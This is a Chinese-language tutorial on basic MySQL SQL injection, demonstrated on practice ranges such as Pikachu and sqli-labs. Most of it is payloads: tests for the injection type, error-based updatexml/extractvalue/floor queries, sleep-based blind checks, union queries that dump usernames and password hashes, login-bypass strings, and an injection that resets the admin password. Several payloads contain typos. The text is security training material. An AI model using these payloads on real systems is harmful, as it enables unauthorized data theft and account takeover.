sql_mysql注入基础篇
文章目錄
- 一.判斷數據類型
- 1.數字型
- 2.字符型
- 3.搜索型
- 二.判斷注入類型
- 1.顯錯注入
- 2.盲注
- 3.報錯注入
- 補充:判斷權限
- 用戶級別權限(很高,也少)
- 可以查看數據的權限(常用)
- 三.開始注入
- 1.顯錯注入
- 2.盲注
- 3.報錯注入
- 基本流程
- 注冊賬號處和修改賬號處
- 刪除處
- 登陸處
- 4.二階注入
- 5.寬字節注入
- 6.useragent和refer注入
- 總結
一.判斷數據類型
1.數字型
一般出現下圖這種,選擇這種,很有可能就是數字型
SQL語句猜測:select xx from xx where id=1
構造payload1:select xx from xx where id=1 or 1=1
如果返回了大量數據,則or 1=1帶入了sql,說明存在數字型sql注入
構造payload2:select xx from xx where id=1 and 1=1
構造payload3:select xx from xx where id=1 and 1=2
如果and 1=1 返回和原來一樣,而and 1=2 返回其他,也有可能存在數字型sql注入
構造payload4:select xx from xx where id=1
在這條語句后面添加 反斜杠,單引號,雙引號,如果數據庫報錯,也可以證明帶入了sql語句
2.字符型
注意:#和–空格是注釋的意思
一般出現下圖這種,填字符這種,很有可能就是字符型
SQL語句猜測:select xx from xx where name=‘1’
構造payload1:select xx from xx where name=‘1’ or 1=1#’
如果返回了大量數據,則’or 1=1#帶入了sql,并且閉合成功,說明存在字符型sql注入
構造payload2:select xx from xx where name=‘1’ and 1=1#’
構造payload3:select xx from xx where name=‘1’ and 1=2#’
如果’ and 1=1# 返回和原來一樣,而’ and 1=2# 返回其他,也有可能存在字符型sql注入
構造payload4:select xx from xx where name=‘1’
在這條語句后面添加 反斜杠,單引號,雙引號,如果數據庫報錯,也可以證明帶入了sql語句
同樣道理
我們可以延伸到
SQL語句猜測:select xx from xx where name=“1”
payload:1" or 1=1# 和 " or “1”=“1
SQL語句猜測:select xx from xx where name=(“1”)
payload:1”) or 1=1# 和 ") or (“1”)=("1
SQL語句猜測:select xx from xx where name=‘1’
payload:1’ or 1=1# 和 ’ or ‘1’=‘1
SQL語句猜測:select xx from xx where name=(‘1’)
payload:1’) or 1=1# 和 ') or (‘1’)=('1
也是一樣,閉合即可
3.搜索型
搜索型跟字符型很像,但是他邏輯不同,搜索型就是為了用最簡單的方法快速搜索內容。
比如我要搜索zhanghao,我只需要輸入zhang就出來了。
SQL語句猜測:select xx from xx where id like’%1%’
構造payload1:select xx from xx where id like’%1%’ or 1=1#%’
如果返回了大量數據,則1%’ or 1=1#帶入了sql,說明存在搜索型sql注入
構造payload2:select xx from xx where id like’%1%’ and 1=1#%’
構造payload3:select xx from xx where id like’%1%’ and 1=2#%’
如果1%’ and 1=1#返回和原來一樣,而1%’ and 1=2#返回其他,也有可能存在搜索型sql注入
構造payload4:select xx from xx where id like’%1%’
在這條語句后面添加 反斜杠,單引號,雙引號,如果數據庫報錯,也可以證明帶入了sql語句
payload:1%’ or 1=1# 和1%’ or ‘%1%’=’%1
payload:1%’ and 1=1#和 1%’ and ‘%1%’=’%1
payload:1%’ and 1=2# 和 1%’ and ‘%1%’=’%2
二.判斷注入類型
1.顯錯注入
1.什么數據類型測試完以后
2.輸入反斜杠和單引號雙引號,并且使用union聯合查詢,如果數據庫會-----報錯-----并且可以使用-----union聯合查詢并回顯-------就是顯錯注入----------也是最簡單的注入類型
2.盲注
1.什么數據類型測試完以后
2.發現他永遠是ture和fase的定義。真就返回,假就不返回或返回其他,通常結合and length(databse())>xxx 來判斷,當然有waf就用其他方法,這篇文章不做演示。
3.報錯注入
1.什么數據類型測試完以后(!!!注意:報錯型很多時候是不能測試出數據類型的,所以,我們只能猜測,或者根據他的報錯判斷數據類型,然后在注入!!!)
2.使用單引號雙引號和反斜杠他會報錯,但是無法使用union聯合查詢,其他啥也查不了,可以使用報錯注入。
3.這個不能使用聯合,只能一個一個數據查,比較麻煩
補充:判斷權限
用戶級別權限(很高,也少)
and (select length(user()) from mysql.user where user=user())>=1
返回正常,就對mysql字典數據庫有權限
可以查看數據的權限(常用)
and (select count(*) from information_schema.tables where table_schema=database())>1
返回正常則可以查詢數據
三.開始注入
1.顯錯注入
傳送:---->>>顯錯注入
2.盲注
傳送門:---->>>盲注
3.報錯注入
update函數
基本流程
注釋符:
當數據類型不是整形時候,就需要使用注釋符號注釋掉后面的符號,從而閉合前面的符號
/# #通常在mysql中可以使用,其他數據庫無法使用,
空格杠杠空格和#通常用在post請求中
空格–+ 通常在get請求中使用
如果無法使用注釋符號
通常使用 ‘閉合
如:’ or ‘1’='1 和 ’ order by 1,2,'3 和 union select 1,2,3,‘4
等等,閉合符號可以變形,可以是" ,也可以是(",更可以是(’,所以看情況而定
先附上一個報錯注入基本的流程,可以先不看直接往下看及可
kobe’ and updatexml(1,concat(0x7e,database()),0) --+
#報錯只能一次顯示- -行
可以使用1imit-次-次進行獲取表名:
kobe’ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘pikachu’ limit 0,1)),0) --+
入獲取到表名后,在獲取列明,思路是-樣的:
kobe’ and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users’limit 0,1)),0) --+
JPI獲取到列名稱后,再來獲取數據:
kobe’ and updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) --+
kobe’ and updatexml(1,concat(0x7e,(select username from users limit 0,1)),0) --+
kobe’ and updatexm1(1,concat(0x7e,(select password from users where username=‘admin’ limit 0,1)),0) --+
什么時候用報錯?當union無法使用并且有報錯信息時候
這里我們以皮卡丘的字符型這關為列子
輸入一個’
可以看到有報錯
kobe’ and updatexml(1,concat(0x7e,database()),0) --+
獲取數據庫名
得到
注意:因為只能獲取一個,所以我們就必須使用limit來遍歷
kobe’ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘pikachu’ limit 2,1)),0) --+
獲取表名得到
kobe’ and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users’limit 2,1)),0) --+
獲取列名
到到列名password
kobe’ and updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) --+
獲取字段名中的內容
得到password的哈希值
注冊賬號處和修改賬號處
注冊賬號處:
當發現有報錯時
在用戶處輸入:
xiao’ or updatexml(1,concat(0x7e,database()),0) or ’
并登陸
可以看到報出了數據庫名
我們通過mysql輸入語句觀察,可以看到,注冊處就是使用了insert方法,
‘xiao’ or updatexml(1,concat(0x7e,database()),0) or ‘’
從這條紅色的語句,我們可以清晰的看見,
我們是使用了兩個or 從而閉合了語句使它報錯,
既然可以報錯,方法就和上面一樣的,這里就不做演示。
修改賬號處:
點擊
先確定它會報錯
然后使用同樣方法
xiao’ or updatexml(1,concat(0x7e,database()),0) or ’
一樣成功
刪除處
先添加一個留言
點擊刪除的時候抓包看到有參數傳入
并猜測他是整型
1 or updatexml(1,concat(0x7e,database()),0)
將其轉為url編碼,提交
可以看到數據庫名以出來,方法也和上面的步驟一樣
基于extractvalue()
kobe’ and extractvalue(0,concat(0x7e,version())) --+
除了函數不一樣,方法一樣,這里不做演示
基于floor()
kabe’ and (select 2 from (select count(*),concat(version(),floor(rand(0)*2))x from infarmation_ schema.tables group by x)a) --+
這個方法這里不做演示
登陸處
通常登陸處我們結合萬能密碼:
因為登陸處的sql語句通常是:
select username,passeord form admin where username=‘xxx’ and password=‘xxxx’
這樣我們就可以構造sql語句注釋掉密碼部分:
如
admin or 1=1#
admin’ or 1=1#
admin’) or 1=1#
admin" or 1=1#
admin") or 1=1#
…
修改密碼時,通常是這兩個邏輯
post傳參
update users set password=‘xxx’ where uname=’$xxxx’
我們來閉合試一下
注入參數:’ where uname=‘admin’#
update users set password=‘123456’ where uname=‘admin’# where uname=‘xxxx’
后面的語句是不是被注釋掉了
也就是我們間接修改了admin用戶密碼為123456
get傳參
update users set password=‘xxx’ where uid=’$xxxx’
我們來閉合試一下
注入參數:’ or uname=‘admin’
update users set password=‘123456’ where uid=’ ’ or uname=‘admin’ ’
可以明顯的看到什么,我們用or語句是不是間接性的修改了admin的密碼,從而直接修改了別人的密碼
等等等,這個自己一個一個猜測即可
4.二階注入
傳送門---->>>二階注入
5.寬字節注入
傳送門---->>>寬字節注入
6.useragent和refer注入
傳送門---->>>useragent注入
總結
1.判斷注入類型,通常先用or(顯示更多數據)再用and(正確返回正常,錯誤返回不正常)。如果無法判斷且用單引號和雙引號和反斜杠有報錯就使用報錯注入即可
2.判斷成功以后,無非就是顯注(可以使用union聯合查詢)和盲注(真假,無報錯)
3.附上盲注,顯注,報錯注入常用手段:
盲注
1.先判斷什么數據類型
再進行下面的操作:
uname=8") or sleep(5)#
&passwd=9
&submit=Submit
uname=8") or length(database())>1#
&passwd=9
&submit=Submit
顯注入常用手段:
1.先判斷什么數據類型
再進行下面的操作:
1.判斷列數
union select 1,2,3,… 直到頁面返回正常為止
2.判斷當前數據庫
union select database(),2,3,4,5 1的位置將會返回數據庫的名字
數據庫名 database()
數據庫版本 version()
數據庫用戶 user()
操作系統 @@version_compile_os
3.查詢表名
union select group_concat(table_name),2,3,4,5,6 from information_schema.tables where table_schema=‘test’
//group_concat()使多行數據在一列顯示
4.查詢列名
union select group_concat(column_name),2,3,4,5,6 from information_schema.columns where table_name=‘admin’
5.查數據 (0x20是空格的意思)
方法一:
union select group_concat(username,0x20,password),2,3,4,5 from test.admin //將所有數據在一行顯示
方法二
union select concat(username,0x20,password),2,3,4,5,6 from one.admin //因為網頁限制只能顯示一行數據,所以顯示第一行數據
union select concat(username,0x20,password),2,3,4,5,6 from one.admin where username not in (‘root’) //把第一行的用戶排除掉,第二行自動上來
union select concat(username,0x20,password),2,3,4,5,6 from one.admin where username not in (‘admin’,‘root’) //看第三行數據
報錯常用手段:
先附上一個報錯注入基本的流程,可以先不看直接往下看及可
kobe’ and updatexml(1,concat(0x7e,database()),0) --+
#報錯只能一次顯示- -行
可以使用1imit-次-次進行獲取表名:
kobe’ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘pikachu’ limit 0,1)),0) --+
入獲取到表名后,在獲取列明,思路是-樣的:
kobe’ and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users’limit 0,1)),0) --+
JPI獲取到列名稱后,再來獲取數據:
kobe’ and updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) --+
kobe’ and updatexml(1,concat(0x7e,(select username from users limit 0,1)),0) --+
kobe’ and updatexm1(1,concat(0x7e,(select password from users where username=‘admin’ limit 0,1)),0) --+
總結
以上是生活随笔為你收集整理的sql_mysql注入基础篇的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 二阶注入
- 下一篇: sqli-labs 30到65关